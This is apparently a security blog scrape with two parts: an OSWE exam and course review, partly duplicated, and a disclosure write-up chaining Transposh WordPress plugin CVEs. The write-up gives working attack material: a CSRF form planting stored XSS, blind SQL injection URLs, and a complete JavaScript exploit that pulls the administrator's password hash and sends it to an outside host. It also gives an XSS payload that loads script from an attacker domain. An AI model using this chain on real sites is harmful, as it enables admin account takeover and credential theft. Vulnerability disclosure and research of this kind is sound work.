After finishing the proctoring setup at around 12:00, the real fun started. Offensive-Security recommends using their provided Kali VMs, but I decided to go with my native macOS instead. Be aware that if you’d choose to go this way, Offensive-Security does not provide you with any technical support (other than VPN issues). I’ve used the following software for the exam:

  • macOS Monterey 12.3.1
  • Viscosity for the VPN connection
  • Microsoft Remote Desktop to connect to the exam machines
  • Notion as my cheatsheet (Yes, you are allowed to use any notes during the exam)
  • BurpSuite Community for all the hacking (You are not allowed to use the Pro version!)
  • Python for all my scripting works

The exam machines have a basic setup of everything you need to start your journey. You don’t need any additional tools (auto-exploitation tools such as sqlmap are forbidden anyways). Another thing: you are not allowed to remotely mount or copy any of the application’s source code to your local machine to use other tools such as the JetBrains suite to start debugging. You have to do this with the tools provided - so make sure that you’ve read the course materials carefully for your debugging setup and you’re familiar with the used IDEs.

Exam Goal

The goal of the exam is to pwn two independent machines using a single script - choose whatever scripting language you’re comfortable with. This means your script should be able to do all the exploitation steps in just one run, from zero to hero. If your script fails to auto-exploit the machine, it counts as a fail (you might still get some partial points, but it might not be enough in the end). You also have to submit two flags for the authentication bypass (35 points) and for the RCE (15 points). You need to have at least 85 out of 100 points to pass the exam point-wise.

Pwn #1

Once I was familiar with the remote environment, I started to look at target machine #1. It took me roughly 4 hours to identify all the necessary vulnerabilities to get the RCE. Next up: Automation. I started to write my Python script to auto-exploit both issues, but it took much longer than expected. Why? I struggled with the reliability of my script, which for some reason, only worked on every second run. After 2.5 hours of optimizations, I finally got my script working with a 10/10 success rate.

I’ve submitted all the flags, ultimately getting me the first 50 points. At that point, I also started to collect screenshots for the documentation part of the exam.

After I got everything, I went to sleep for about 10 hours (that’s important for me to keep a clear mind), and already having half of the required points got me a calm night.

Pwn #2

After I had breakfast on the second day, I started to look at machine #2, which was a bit harder than the first one. It took me roughly half an hour to spot vulnerability #2 (so the RCE part), but I still had to find the authentication bypass. Unfortunately, that also took longer than expected because I’ve followed a rabbit hole for about two hours until I’ve noticed that it wasn’t exploitable. But still, after around 6 hours of hacking, I was able to identify the entire bug chain and exploit it. I’ve submitted both flags, getting me an overall 100 out of 100 points - this was my happy moment!

I wrote the Python exploit for auto-exploitation relatively quickly this time since it was structurally entirely different from machine #1. I also started to collect all the screenshots for my documentation. I went to sleep for another 10 hours.

Documentation

On the last day, my exam was about to end at 11:45, and I started early at 08:00 to be able to double-check my scripts, my screenshots, etc. I improved my Python scripts and added some leet hacker output to them without breaking them (yay!). I finished that part at around 10:00 and had almost 2 hours left in the exam lab. So I started to do my documentation right away and noticed (somewhat last minute) that I was missing two screenshots, and trust me, they are so important!

I informed the proctor to end my exam, and I then had another 24 hours to submit my documentation. The entire documentation took me roughly 8 hours to complete - I’m a perfectionist, and this part always takes me the most time to finish. I sent in the documentation on the same day and completed my exam.

A couple of days later, I received the awaited happy mail from Offensive-Security saying that I’ve passed the exam

netcup-xss

Who Should Take This Course?

The course itself is excellent in its content, presentation, and lab-quality. I haven’t seen any comparable course out there, and while many people are claiming that you can get all of it cheaper using Udemy courses, they are only partially correct. Yes, you’ll find a lot of courses about discovering and exploiting vulnerabilities in black box scenarios, but the AWAE targets a different audience. It is mostly about teaching you the source code’ish way of finding vulnerabilities. Where else do you have the chance to learn how to discover and exploit a Type Juggling Issue? It is barely possible without access to the source code. Active exploitation is a minor part of this course and is done manually without automation tools.

So if you do have programming skills already and are interested in strengthening your vulnerability discovery skills on source code review engagements, then this course might be the one for you. I have 5+ years of experience in auditing, primarily PHP and Java applications, and found this course to be challenging in many (but not all) chapters. However, this course still helped me sharpen my view of the allegedly minor but impactful coding errors, which can result from just a single missing equal sign.

But suppose you’ve never touched the initially mentioned bug classes, and you have also never touched on different programming languages and concepts such as object orientation. In that case, you should spend some time on practical programming first before buying this course.

AWAE Course and OSWE Exam Review

22 April 2022 at 00:00

Introduction

This is a review of the Advanced Web Attacks and Exploitation (WEB-300) course and its OSWE exam by Offensive-Security. I’ve taken this course because I was curious about what secret tricks this course will offer for its money, especially considering that I’ve done a lot of source code reviews in different languages already.

This course is designed to develop, or expand, your exploitation skills in web application penetration testing and exploitation research. This is not an entry level course–it is expected that you are familiar with basic web technologies and scripting languages. We will dive into, read, understand, and write code in several languages, including but not limited to JavaScript, PHP, Java, and C#.

I got this course as part of my Offensive-Security Learn Unlimited subscription, which includes all of their courses (except for the EXP-401) and unlimited exam attempts. Luckily, I only needed one attempt to pass the exam and get my OSWE certification.

The Courseware & the Labs

I’d say it’s a typical Offensive-Security course. It comes with hundreds of written pages and hours of video content explaining every vulnerability class in such incredible detail, which is fantastic if you’re new to certain things. But the courseware still assumes a technically competent reader proficient with programming concepts such as object orientation, so I don’t recommend taking this course without prior programming knowledge.

You will also get access to their labs to follow the course materials. These labs consist of Linux and Windows machines that you will pwn along the course, and they are fun! You will touch on all the big vulnerability classes and some lesser-known ones that you usually don’t encounter in your day-to-day BugBounty business. Some of these are:

  • Authentication Bypasses of all kinds
  • Type Juggling
  • SQL Injection
  • Server-Side JavaScript Injection
  • Deserialization
  • Template Injection
  • Cross-Site Scripting (this was unexpected in an RCE context!)
  • Server-Side Request Forgery
  • Prototype Pollution
  • Classic command injection

It took me roughly a week to get through all videos and labs, mostly because I was already familiar with most of the vulnerability classes and content. My most challenging ones were the type juggling (this is some awesome stuff!) and prototype pollution. I also decided not to go the extra miles; however, I’d still recommend this to everyone who is relatively new to source code review and exploitation and wants to practice their skills.

The Exam

Overview

The exam is heavily time-constrained. You have 47 hours and 45 minutes to work through your target machines, where you have full access to the application’s source code. But be prepared that the source code to review might be a lot - good time management is crucial here. After the pure hacking time, you will have another 24 hours to submit your exam documentation.

The Proctoring

But before actually being able to read a lot of source code, you have to go through the proctoring setup with the proctors themselves. You have to be 15 minutes early to the party to show your government ID, walk them through your room and make sure that they can correctly monitor (all of) your screens. You are also not allowed to have any additional computers or mobile phones in the same room.

The proctoring itself wasn’t a real problem. The proctors have always been friendly and responsive. Note that if you intend to leave the room (even to visit your toilet), you have to let them know when you leave and when you return to your desk. But you do not have to wait for their confirmation - so no toilet incidents are expected ;-) If you intend to stay away for a more extended period (sleep ftw.), they will pause the VPN connection.

Basic Machine Setup

After finishing the proctoring setup at around 12:00, the real fun started. Offensive-Security recommends using their provided Kali VMs, but I decided to go with my native macOS instead. Be aware that if you’d choose to go this way, Offensive-Security does not provide you with any technical support (other than VPN issues). I’ve used the following software for the exam:

  • macOS Monterey 12.3.1
  • Viscosity for the VPN connection
  • Microsoft Remote Desktop to connect to the exam machines
  • Notion as my cheatsheet (Yes, you are allowed to use any notes during the exam)
  • BurpSuite Community for all the hacking (You are not allowed to use the Pro version!)
  • Python for all my scripting works

The exam machines come in a group of two, which means you’ll get one development machine to which you’ll have full access and one “production” machine which you don’t have complete access. You’ll have to do all your research and write your exploit chain on the development machine and afterward perform your exploit against the production machine, which holds the required flags.

The development machines have a basic setup of everything you need to start your journey. You don’t need any additional tools (auto-exploitation tools such as sqlmap are forbidden anyways). Another thing: you are not allowed to remotely mount or copy any of the application’s source code to your local machine to use other tools such as the JetBrains suite to start debugging. You have to do this with the tools provided - so make sure that you’ve read the course materials carefully for your debugging setup and you’re familiar with the used IDEs.

Exam Goal

The goal of the exam is to pwn these independent production machines using a single script - choose whatever scripting language you’re comfortable with. This means your script should be able to do all the exploitation steps in just one run, from zero to hero. If your script fails to auto-exploit the machine, it counts as a fail (you might still get some partial points, but it might not be enough in the end). You need to have at least 85 out of 100 points to pass the exam point-wise.

Pwn #1

Once I was familiar with the remote environment, I started to look at target machine #1. It took me roughly 4 hours to identify all the necessary vulnerabilities. Next up: Automation. I started to write my Python script to auto-exploit both issues, but it took much longer than expected. Why? I struggled with the reliability of my script, which for some reason, only worked on every second run. After 2.5 hours of optimizations, I finally got my script working with a 10/10 success rate.

I’ve submitted all the flags, ultimately getting me the first 50 points. At that point, I also started to collect screenshots for the documentation part of the exam.

After I got everything, I went to sleep for about 10 hours (that’s important for me to keep a clear mind), and already having half of the required points got me a calm night.

Pwn #2

After I had breakfast on the second day, I started to look at machine #2, which was a bit harder than the first one. It took me roughly half an hour to spot vulnerability #2, but I still had to find the vulnerability #1. Unfortunately, that also took longer than expected because I’ve followed a rabbit hole for about two hours until I’ve noticed that it wasn’t exploitable. But still, after around 6 hours of hacking, I was able to identify the entire bug chain and exploit it. I’ve submitted both flags, getting me an overall 100 out of 100 points - this was my happy moment!

I wrote the Python exploit for auto-exploitation relatively quickly this time since it was structurally entirely different from machine #1. I also started to collect all the screenshots for my documentation. I went to sleep for another 10 hours.

Documentation

On the last day, my exam was about to end at 11:45, and I started early at 08:00 to be able to double-check my scripts, my screenshots, etc. I improved my Python scripts and added some leet hacker output to them without breaking them (yay!). I finished that part at around 10:00 and had almost 2 hours left in the exam lab. So I started to do my documentation right away and noticed (somewhat last minute) that I was missing two screenshots, and trust me, they are so important!

I informed the proctor to end my exam, and I then had another 24 hours to submit my documentation. The entire documentation took me roughly 8 hours to complete - I’m a perfectionist, and this part always takes me the most time to finish. I sent in the documentation on the same day and completed my exam.

A couple of days later, I received the awaited happy mail from Offensive-Security saying that I’ve passed the exam

netcup-xss

Who Should Take This Course?

The course itself is excellent in its content, presentation, and lab-quality. I haven’t seen any comparable course out there, and while many people are claiming that you can get all of it cheaper using Udemy courses, they are only partially correct. Yes, you’ll find a lot of courses about discovering and exploiting vulnerabilities in black box scenarios, but the AWAE targets a different audience. It is mostly about teaching you the source code’ish way of finding vulnerabilities. Where else do you have the chance to learn how to discover and exploit a Type Juggling Issue? It is barely possible without access to the source code. Active exploitation is a minor part of this course and is done manually without automation tools.

So if you do have programming skills already and are interested in strengthening your vulnerability discovery skills on source code review engagements, then this course might be the one for you. I have 5+ years of experience in auditing, primarily PHP and Java applications, and found this course to be challenging in many (but not all) chapters. However, this course still helped me sharpen my view on how small coding errors can result in impactful bugs by just leaving out a single equal sign.

But suppose you’ve never touched the initially mentioned bug classes, and you have also never touched on different programming languages and concepts such as object orientation. In that case, you should spend some time on practical programming first before buying this course.

WordPress Transposh: Exploiting a Blind SQL Injection via XSS

22 July 2022 at 00:00

Introduction

You probably have read about my recent swamp of CVEs affecting a WordPress plugin called Transposh Translation Filter, which resulted in more than $30,000 in bounties:

Here’s the story about how you could chain three of these CVEs to go from unauthenticated visitor to admin.

Part 1: CVE-2022-2461 - Weak Default Configuration

So the first issue arises when you add Transposh as a plugin to your WordPress site; it comes with a weak default configuration that allows any user (aka Anonymous) to submit new translation entries using the ajax action tp_translation:

This effectively means that an attacker could already influence the (translated) content on a WordPress site, which is shown to all visitors.

Part 2: CVE-2021-24911 - Unauthenticated Stored Cross-Site Scripting

The same ajax action tp_translation can also be used to permanently place arbitrary JavaScript into the Transposh admin backend using the following payload:

<html>
  <body>
    <form action="http://[host]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="tp&#95;translation" />
      <input type="hidden" name="ln0" value="en" />
      <input type="hidden" name="sr0" value="0" />
      <input type="hidden" name="items" value="1" />
      <input type="hidden" name="tk0" value="xss&lt;script&gt;alert&#40;1337&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="tr0" value="test" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

When an administrator now visits either Transposh’s main dashboard page at /wp-admin/admin.php?page=tp_main or the Translation editor tab at /wp-admin/admin.php?page=tp_editor, then they’ll execute the injected arbitrary JavaScript:

At this point, you can already do a lot of stuff on the backend, but let’s escalate it further by exploiting a seemingly less severe authenticated SQL Injection.

Part 3: CVE-2022-25811 - Authenticated SQL Injections

So this is probably the most exciting part, although the SQL Injections alone only have a CVSS score of 6.8 because they are only exploitable using administrative permissions. Overall, we’re dealing with a blind SQL Injection here, which can be triggered using a simple sleep payload:

/wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT%20(CASE%20WHEN%20(1=1)%20THEN%20SLEEP(10)%20ELSE%202%20END))

This results in a nice delay of the response proving the SQL Injection:

To fully escalate this chain, let’s get to the most interesting part.

How to (Quickly) Exploit a Blind SQL Injection via Cross-Site Scripting

Approach

Have you ever thought about how to exploit a blind SQL Injection via JavaScript? You might have read my previous blog article, where I used a similar bug chain, but with an error-based SQL Injection. That one only required a single injection payload to exfiltrate the admin user’s password, which is trivially easy. However, to exploit a blind SQL Injection, you typically need hundreds, probably thousands of boolean (or time-based) comparisons to exfiltrate data. The goal here is the same: extracting the administrator’s password from the database.

Now, you might think: well, you could use a boolean comparison and iterate over each character of the password. However, since those hashed passwords (WordPress uses the pHpass algorithm to create passwords) are typically 30 characters long (excluding the first four static bytes $P$B) and consist of alphanumeric characters including some special chars (i.e. $P$B55D6LjfHDkINU5wF.v2BuuzO0/XPk/), going through all the possible ASCII characters from 46 (“.”) to 122 (lower-capital “z”) would require you to send around 76 requests per character which could result in 76*30 = 2280 requests.

This is a lot and will require the victim to stay on the page for quite a while.

So let’s do it a bit smarter with only around 320 requests, which is around 84% fewer requests. Yes, you might still find more optimization potential in my following approach, but I find 84% to be enough here.

Transposh’s Sanitization?!

While doing the source code review to complete this chain, I stumbled upon a useless attempt to filter special characters for the vulnerable order and orderBy parameters. It looks like they decided to only filter for FILTER_SANITIZE_SPECIAL_CHARS which translates to "<>&:

$orderby = (!empty(filter_input(INPUT_GET, 'orderby', FILTER_SANITIZE_SPECIAL_CHARS)) ) ? filter_input(INPUT_GET, 'orderby', FILTER_SANITIZE_SPECIAL_CHARS) : 'timestamp';
$order = (!empty(filter_input(INPUT_GET, 'order', FILTER_SANITIZE_SPECIAL_CHARS)) ) ? filter_input(INPUT_GET, 'order', FILTER_SANITIZE_SPECIAL_CHARS) : 'desc';

It’s still a limitation, but easy to work around: we’re just going to replace the required comparison characters < and > with a between x and y. We don’t actually care about " and & since the payload doesn’t really require them.

Preparing The Test Cases

The SQL Injection payload that can be used looks like the following (thanks to sqlmap for the initial payload!):

(SELECT+(
  CASE+WHEN+(
    ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),1,1))
    +BETWEEN+1+AND+122)+
    THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END))

I’ve split the payload up for readability reasons here. Let me explain its core components:

  • The ORD() (together with the MID) walks the user_pass string which is returned by the subquery character by character. This means we’ll get the password char by char. I’ve also added a WHERE id=1 clause to ensure we’re just grabbing the password of WordPress’s user id 1, which is usually the administrator of the instance.
  • The CASE WHEN –> BETWEEN 1 and 122 part validates whether each returned character matches an ordinal between 1 and 122.
  • The THEN –> ELSE part makes the difference in the overall output and the datapoint we will rely on when exploiting this with a Boolean-based approach.

The False Case

Let’s see how we can differentiate the responses to the BETWEEN x and y part. We do already know that the first character of a WordPress password is $ (ASCII 36), so let’s take this to show how the application reacts.

The payload /wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT+(CASE+WHEN+(ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),1,1))+BETWEEN+100+AND+122)+THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END)) performs a BETWEEN 100 and 122 test which results in the following visible output:

The True Case

The payload /wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT+(CASE+WHEN+(ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),1,1))+BETWEEN+1+AND+122)+THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END)) in return performs a BETWEEN 1 and 122 check and returns a different visible output:

As you can see on the last screenshot, in the true case, the application will show the Bulk actions dropdown alongside the translated strings. This string will be our differentiator!

How to Reduce the Exploitation Requests from ~2200 to ~300

So we need to find a way not to have to send 76 requests per character - from 46 (.) to 122 (lower-capital z). So let’s do it by approximation. My idea is to use the range of 46-122 and apply some math:

Let’s first define a couple of things:

  • 46: the lowest end of the possible character set –> cur (current) value.
  • 122: the upper end of the possible character set –> max (maximum) value.
  • 0: the previous valid current value –> prev value. Here we need to keep track of the previously true case value to be able to revert the calculation to a working case if we’d encounter a false case. 0 because we don’t know the first valid value.

Doing the initial between check of cur and maxwill always result in a true case (because it’s the entire allowed character set). To narrow it down, we now point cur value to exactly the middle between cur and max using the formula:

cur = cur + (Math.floor((max-cur)/2));

This results in a check of BETWEEN 84 and 122. So we’re checking if the target is located in the upper OR implicitly in the lower half of the range. If this would again result in a true case because the character in probing is in that range, do the same calculation again and narrow it down to the correct character.

However, if we’d encounter a false case because the character is lower than 84, then let’s set the max value to the cur one because we have to instead look into the lower half, and also set cur to the prev value to keep track of it.

Based on this theory and to match the character uppercase C (ASCII: 67), the following would happen:

true: cur:84, prev:46,max:122
true: cur:65, prev:46,max:84
true: cur:74, prev:65,max:84
true: cur:69, prev:65,max:74
true: cur:67, prev:65,max:69
true: cur:68, prev:67,max:69
true: cur:67, prev:67,max:68

Finally, if cur equals prev, we’ve found the correct char. And it took about seven requests to get there, instead of 21 (67-46).

Some JavaScript (Magic)

Honestly, I’m not a JavaScript pro, and there might be ways to optimize it, but here’s my implementation of it, which should work with any blind SQL Injections that you want to chain with an XSS against WordPress:

async function exploit() {
    let result = "$P$B";
    let targetChar = 5;
    let prev = 0;
    let cur = 46;
    let max = 122;
    let requestCount = 0;

    do {
        let url = `/wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT+(CASE+WHEN+(ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),${targetChar},1))+BETWEEN+${cur}+AND+${max})+THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END))`

        const response = await fetch(url)
        const data = await response.text()

        requestCount = requestCount + 1;

        // this is the true/false differentiator
        if(data.includes("Bulk actions"))
        {
            // "true" case
            prev = cur;
            cur = cur + (Math.floor((max-cur)/2));

            //console.log('true: cur:' + cur + ', prev:' + prev + ',max:' + max );

            if(cur === 0 && prev === 0) {
                console.log('Request count: ' + requestCount);
                return(result)
            }

            // this means we've found the correct char
            if(cur === prev) {
                result = result + String.fromCharCode(cur);

                // reset initial values
                prev = 0;
                cur = 20;
                max = 122;

                // proceed with next char
                targetChar = targetChar + 1;

                console.log(result);
            }
        }
        else
        {
            // "false" case
            // console.log('false: cur:' + cur + ', prev:' + prev + ',max:' + max );

            max = cur;
            cur = prev;
        }
    } while (1)
}



exploit().then(x => {
    console.log('password: ' + x);

    // let's leak it to somewhere else
    leakUrl = "http://www.rcesecurity.com?password=" + x
    xhr = new XMLHttpRequest();
    xhr.open('GET', leakUrl);
    xhr.send();
});

Connecting the Dots

Now you could inject a Stored XSS payload like the following, which points a script src to a JavaScript file containing the payload:

<html>
  <body>
    <form action="http://[host]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="tp&#95;translation" />
      <input type="hidden" name="ln0" value="en" />
      <input type="hidden" name="sr0" value="xss" />
      <input type="hidden" name="items" value="3" />
      <input type="hidden" name="tk0" value="xss&lt;script&#32;src&#61;&quot;https&#58;&#47;&#47;www&#46;attacker&#46;wf&#47;ff&#46;js&quot;&gt;" />
      <input type="hidden" name="tr0" value="test" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Trick an admin into visiting the Transposh backend, and finally enjoy your WordPress hash:

❌
❌